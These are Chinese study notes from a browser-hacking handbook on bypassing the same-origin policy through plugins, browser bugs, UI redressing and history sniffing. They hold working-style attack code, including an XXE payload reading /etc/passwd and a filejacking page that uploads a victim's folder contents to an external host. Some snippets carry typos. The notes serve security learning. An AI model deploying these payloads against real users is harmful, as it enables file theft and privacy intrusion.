绕过同源策略
绕过同源策略
理解同源策略
- 同源:拥有相同主机名、协议和端口的页面
- 同源策略:同源间的资源交互不受限制
SOP与DOM
- 决定JavaScript及其他协议如何访问DOM时就是依赖同源策略,但是IE只验证主机名和协议。
- 允许同一域名下的其他站点访问DOM
- 设置document.domain
- 示例
允许来自login.browservictim.com的代码访问store.browservictim.com中的表单
document.domain=‘browservictim.com’
此时属于browservictim.com域名的任何页面,都可以访问当前页面的DOM了。
一旦SOP对根域名开放,就不能再设防了。
- 示例
- 设置document.domain
SOP与CORS
默认情况下,如果使用XMLHttpRequest对象(XHR)向不同来源发送请求,会读不到响应。但是,请求还是会到达目标网站。
SOP阻止你读取HTTP响应首部或主体,放开SOP,允许XHR跨域通信的一个办法,就是使用CORS。
如果browserhacker.com源返回以下响应首部,那么browservictim.com的每个子域都会
打开与browserhacker.com的双向通信渠道:
SOP与插件
- 理论上讲:如果插件来自http://browserhacker.com:80/,那它就只能访问http://browserhacker.com:80/。
- 示例
- 某些版本Java:只要两个域的IP地址一样,那它们就是同源的----->在虚拟主机的环境下,多个域名可能对应着同一个IP地址;
- Adobe的PDF阅读器和Flash插件
- Adobe Flash插件提供的管理跨域通信的机制,不同的源都要在网站根目录下放一个crossdomain.xml文件:
此时browserhacker.com的所有子域就可以在应用中相互通信了。<?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type" /> <allow-access-from domain="*.broeserhacker.com" /> </cross-domain-policy>
- Adobe Flash插件提供的管理跨域通信的机制,不同的源都要在网站根目录下放一个crossdomain.xml文件:
- Java和Silverlight支持类似的方式,因为这两个插件都支持crossdomain.xml,Silverlight还支持clientaccesspolicy.xml。
通过界面伪装理解SOP
- 界面伪装:通过修改用户界面的视觉元素,达到掩盖实施恶意活动的目的
通过浏览器历史理解SOP
绕过SOP技术
在Java中绕过SOP
- 示例
- Java6和Java7中,如果两个主机名可以解析为同一个IP地址,则将它们看成同一个主机
- 利用
- www.browserhacker.com和www.browservictim.com都解析到IP地址192.168.0.2
- 实现从www.browserhacker.com的一个指定URL中提取内容的Java代码:
import java.apple.*; import java.awt.*; import java.net.*; import java.util.*; import java.io.*; public class javaAppletSop extends Applet{ public javaAppletSop() { super(); return; } public static String getInfo() { String result=" "; try{ URL url=new URL("http://www.browserhacker.com" + "/demos/secret_page.html"); BufferedReader in=new BufferedReader(new InputStreamReader(url.openStream())); String inputLine; while ((inputLine=in.readLine())!=null) result += inputLine; in.close(); } catch (Exception exception) { result="Exception: "+ exception.toString(); } return result; } }
- 编译前面的程序,并将其嵌入www.browservictim.com的某个HTML页。
<html> <!-- Tested on: - Java 1.7u17 and Firefox (CtP allowed) - Java 1.6u45 and IE 8 --> <body> <embed id='javaAppletSop' code='javaAppletSop' type='application/x-java-applet' codebase='http://browservictim.com/' height='0' width='0' name='javaAppletSop'></embed> <!-- use the following one for IE --> <!-- <applet id='javaAppletSop' code='javaAppletSop' codebase='http://browservictim.com/' height='0' width='0' name='javaAppletSop'></applet> --> <script> //设置5秒超时,等待用户允许CtP function getInfo() { output=document.javaAppletSop.getInfo(); if (output) alert(output); } setTimeout(function(){getInfo();},5000); </script> </body> </html>
- 在Firefox中通过Java插件1.6u45或1.7u17版打开该页面
- 利用
- LiveConnect在Firefox 15及更早版本中,通过Packages DOM对象可以直接在DOM中调用Java对象及方法
- 利用
<script> var url=new Packages.java.net.URL("http://browservictim.com/cookie.php"); var is=new Packages.java.io.BuffereReader(new Packages.java.io.InputStreamReader(url.openStream())); var data=' '; while ((l=is.readLine())!=null) { data+=1; } alert(data) </script>
- 利用
- Java漏洞CVE-2011-3546(2011年底修复)
- 如果用于加载小程序的资源收到一个301或302重定向应答,那么重定向的来源会被确定为小程序的源
- 利用
Java 1.7和Java 1.6u27(及之前版本)认为,重定向的来源也是有效的源,<applet code="malicious.class" archive="http://browservictim.com?redirect_to=http://browserhacker.com/malicious.jar" width="100" height="100"></applet>
- Java6和Java7中,如果两个主机名可以解析为同一个IP地址,则将它们看成同一个主机
在Adobe Reader中绕过SOP
- CVE-2013-0622(Adobe Reader 11.0.0以上版本已经修复)
- 漏洞
- 利用开放性重定向,让一个外部源访问重定向的源
- 就是使用XXE指定资源时,SOP也不会起作用
- 利用
- 常见的XXE注入方式是把恶意代码注入接收XML输入的请求中
<! DOCTYPE foo [ <! ELEMENT foo ANY > <! ENTITY xxe SYSTEM "/etc/passwd" >]><foo>&xxe;</foo>
- 常见的XXE注入方式是把恶意代码注入接收XML输入的请求中
- 漏洞
在Adobe Flash中绕过SOP
- Adobe Flash 中有crossdomain.xml文件机制,这个文件控制Flash可以从哪些站点取得数据
- 示例
<?xml version="1.0" ?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type" /> <allow-access-from domain="*" /> </ cross-domain-policy>
在Silverlight中绕过SOP
- Microsoft的Silverlight插件与Flash采取相同的SOP策略,实现跨域通信,站点需要发布一个名为clientaccess-policy.xml的文件
- clientaccess-policy.xml
<?xml version="1.0" encoding="utf-8" ?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain url="*" /> </ allow-from> <grant-to> <resource path="/" include-subpaths="true" /> </ grant-to> </ policy> </ cross-domain-access> </ access-policy>
Silverlight不会基于协议和端口来隔离不同源之间的通信
在IE中绕过SOP
- 在Internet Explorer 8 Beta 2(包括IE6和IE7)中,对document.domain的实现都存在绕过SOP的漏洞
- 示例
var document; document={}; document.domain='browserhacker.com'; alert(document.domain)
在Safari中绕过SOP
- Safari浏览器从2007年16开始到6.0.2版本,都没有对访问本地资源执行SOP。
- 利用
- 当用户通过file协议打开HTML附件时,其中的JavaScript代码就可以绕过SOP,并与不同的源进行双向通信。
- 代码
<html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState==4) { alert(xhr.responseText); } }; xhr.open("GET", "http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html"); xhr.send(); </script> </body> </html>
在Firefox中绕过SOP
- 在sandbox值为allow-scripts时,内嵌框架中的恶意JavaScript脚本仍然可以访问window.top,就有了改变外部window地址的可能
- 示例
- 外部文件
<iframe src="inner.html" sandbox="allow-scripts"></iframe>
- 框架内代码
<!-- Framed document, inner.html --> <script> //逃出沙箱 if(top!=window) {top.location=window.location; } //下面的JavaScript代码和标记都不受限制:允许插件、弹出窗口和表单。 </script>
- 外部文件
在Opera中绕过SOP
- Opera在重写原型的时候不会强制贯彻SOP,所谓重写原型指的是重写IFrame位置对象的构造函数
- 示例
- 一个源框的内容
<html> <body> <iframe id="ifr" src="http://browservictim.com/xdomain.html"></iframe> <script> var iframe=document.getElementById('ifr'); function do_someing(){ var iframe=document.getElementById('ifr'); iframe.contentWindow.location.constructor.prototype.__defineGetter__.constructor('[].constructor.prototype.join=function(){console.log("pwned")}')(); } setTimeout("do_something()",3000); </script> </body> </html>
- 另一个源框
<html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log("join() after prototype override: " + [].constructor.prototype.join); } console.log("join() after prototype override: " + [].constructor.prototype.join); setTimeout("do_join();", 5000); </script> </body> </html>
- 一个源框的内容
在云存储中绕过SOP
在CORS 中绕过SOP
- 错误配置:
Access-Control-Allow-Origin: *
利用绕过SOP技术
代理请求
- 利用被勾连的浏览器替你发送请求,可以实现代理请求,可以利用被勾连浏览器的用户cookie,从而获得更多访问权限。
- XSS代理请求的基本原理
- 一台服务器通过套接字监听攻击者的机器(代理后端)
它解析收到的HTTP请求,并将其转换成AJAX请求,随时准备将该请求插入被勾连浏览器要执行的后续JavaScript代码中。 - 这些JavaScript代码随后某种通信渠道,被发送给被勾连的浏览器
- 被勾连的浏览器执行这些代码时,就会发送相应的AJAX请求,而HTTP响应则被发送回代理后端
- 代理后端去掉并调整各种首部,再将响应发回到最初向代理发送HTTP请求的客户端套接字。
- 一台服务器通过套接字监听攻击者的机器(代理后端)
利用界面伪装攻击
点击劫持
- 原理
点击劫持攻击依赖于独立定位且透明的IFrame和特殊的CSS选择符,以欺骗用户点击不可见
的元素。 - 示例——简单示例
- 需要注入的代码
<html> <head> </head> <body> <form name="addUserToAdmins" action="javascript: alert('clicked on hidden IFrame. User added.')" method="POST"> //action应该包含一个接收输入值的URL <input type="hidden" name="userId" value"1234"> <input type="hidden" name="isAdmin" value"true"> <input type="hidden" name="token" value"asasdasd86asd876as87623234aksjdhjkashd"> //使用防御XSRF的token <input type="submit" value="Add to admin group" style="height: 60px; width: 150px; font-size:3em"> </form> </body> </html>
- 被注入的页面
<html> <head> <style> iframe{ filter:alpha(opacity=0); opacity:0; position:absolute; top: 250px; left: 40px; height: 300px; width: 250px; } img{ position:absolute; top: 0px; left: 0px; height: 300px; width: 250px; } </style> </head> <body> <!-- The user sees the following image--> <img src="http://localhost/clickjacking/yes-no_mod.jpg"> <!-- but he effectively clicks on the following framed content --> <iframe src="http://localhost/clickjacking/iframe_content.html"></iframe>
- 需要注入的代码
- 示例——点击劫持
设想有一个页面,需要用户点击其中的按钮来实现攻击。此时,点击劫持的目标就是保证目
标的鼠标始终位于该按钮上面。- 外部框架(攻击利用的目标源)
<html> <head> </head> <body style="background-color:red"> <p> </p> <button onclick="javascript:alert('User Added')" type="button">Add User to Admin group</button> <p> </p> </body> </html>
- 内部框架(负责监听onmousemove事件)
- 使用jQuery API代码让outerObj始终跟随鼠标
$j("body").mousemove(function(e) { $j(outerObj).css('top', e.pageY); $j(outerObj).css('left', e.pageX); });
- 内部框架使用不透明技术渲染不可见元素
filter:alpha(opacity=0); opacity:0;
- 使用jQuery API代码让outerObj始终跟随鼠标
- 外部框架(攻击利用的目标源)
光标劫持
- 原理
使用伪造的光标欺骗用户,伪造的光标与实际光标有偏离,一般向右偏离。这样攻击者可以诱使目标点击自己定位好的元素。 - 示例
<html> <head> <style type="text/css"> #c { cursor:url("http://localhost/basic_cursorjacking/new_cursor.png"),default; } #c input{ cursor:url("http://localhost/basic_cursorjacking//new_cursor.png"),default; } </style> </head> <body> <h1> CursorJacking. Click on the 'Second' or 'Fourth' buttons. </h1> <div id="c"> <input type="button" value="First" onclick="alert('clicked on 1')"> <input type="button" value="Second" onclick="alert('clicked on 2')"> <br></br> <input type="button" value="Third" onclick="alert('clicked on 3')"> <input type="button" value="Fourth" onclick="alert('clicked on 4')"> </div> </body> </html>
使用文件劫持
- 原理
通过浏览器中巧妙的UI操作,把攻击目标OS中的文件夹内容转移到攻击者的服务器。(依赖于目标在从网上下载文件时使用的是操作系统的Choise Folder对话框) - 必要条件
- 攻击目标必须使用Chrome,因为这是目前唯一支持directory和webkitdirectory输入属性的浏览器:
<input type="file" id="file_x " webkitdirectory directory />
- 必须成功引诱目标点击某个地方,这类似于其他界面伪装技术。
- 攻击目标必须使用Chrome,因为这是目前唯一支持directory和webkitdirectory输入属性的浏览器:
- 示例
- 服务端代码
require 'rubygems' require 'thin' require 'rack' require 'sinatra' class UploadManager < Sinatra::Base post "/" do puts "receiving post data" params.each do |key,value| puts "#{key}->#{value}" end end end @routes = { "/upload" => UploadManager.new #准备好处理发送到/upload URI的POST请求 } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new("browserhacker.com", 4000, @rack_app) #将Ruby Web服务器Thin绑定在4000端口 Thin::Logging.silent = true Thin::Logging.debug = false puts "[#{Time.now}] Thin ready" @thin.start
- 客户端代码
<html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script> <style> body {background: #333; color: #eee;} a:link, a:visited {color: lightgreen;} input[type='file'] { opacity: 0; position: absolute; left: 0; top: 0; width: 300px; line-height: 20px; height: 25px; } #cloak { position: absolute; left: 0; top: 0; line-height: 20px; height: 25px; cursor: pointer; } label { display: block; } </style> </head> <body> <button id=cloak>Download to...</button> <input type="file" id="cloaked" webkitdirectory directory /> <script> document.getElementById("cloaked").onchange = function(e) { for (var i = 0, f; f = e.target.files[i]; ++i) { console.log("sending file with path: " + f.webkitRelativePath + ", name: " + f.name); fdata = new FormData(); fdata.append('path', f.webkitRelativePath); fdata.append('name', f.name); fdata.append('content', f); var xhr = new XMLHttpRequest(); xhr.open("POST", "http://browserhacker.com/upload", true); xhr.send(fdata); } }; </script> </body> </html>
- 服务端代码
拖放
- 在控制的钓鱼页面中,创建一个内嵌框架。该框架来源指向一个跨域资源,如果用户拖动该框架并在顶级窗口的某个地方放开,就可以绕过SOP读取该框架的内容。
- 示例
- 在内嵌框架中使用了view-source://
<iframe src="view-source:http://browservictim.com/any">
- 在内嵌框架中使用了view-source://
利用浏览器历史
使用CSS颜色
- 原理:使用CSS信息窃取浏览器历史
- 依赖:visited、链接元素的颜色(访问过—紫色,未访问—蓝色)
- 示例
- 网页脚本
<html> <head> <style> #link:visited {color: #FF0000;} </style> </head> <body> <a id="link" href="http://browserhacker.com" target="_blank">clickme</a> <script> var link = document.getElementById("link"); var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); console.log(color); </script> </body> </html>
- 网页脚本
使用缓存计时
- 原理
- 推断资源是否已经取得(并缓存了),进一步确定用户曾经访问过缓存内容的来源网站
- 存在的问题
- 在初始化测试中,查询浏览器缓存会影响结果
- 示例
function wait_for_noread() { try{ /* * 这里存在SOP漏洞 * 因为要读取内嵌框架中加载的跨源资源的location.href */ if (frames['f'].location.href == undefined) throw 1; /* * 到 TIME_LIMIT之前,不断从内嵌框架中读取location.href * 否则调用maybe_test_next()重置内嵌框架的src为about:blank * 防止完全加载资源而替代缓存 * 然后处理下一个资源 */ if (cycles++ >= TIME_LIMIT) { maybe_test_next(); return; } setTimeout(wait_for_noread, 1); } catch (e) { /* * 找到SOP同源 * 确认资源已缓存 */ confirmed_visited = true; maybe_test_next(); } }
使用浏览器API
- 目标:Avant浏览器
- 示例
- 问题代码
向AFRunCommand()传入60003和一个JSON对象,就可以取得完整的浏览器历史记录。var av_if = document.createElement("iframe"); av_if.setAttribute('src', "browser:home"); //把享有特权的browser:home地址加载到内嵌框架 av_if.setAttribute('name','av_if'); av_if.setAttribute('width','0'); av_if.setAttribute('heigth','0'); av_if.setAttribute('scrolling','no'); document.body.appendChild(av_if); var vstr = {value: ""}; //如果渲染引擎是Firefox,这将有效 window['av_if'].navigator.AFRunCommand(60003, vstr); //在navigator对象上执行AFRunCommand()函数(是Avant给DOM添加的专有API) alert(vstr.value);
- 问题代码
参考文献
《黑客攻防技术宝典——浏览器》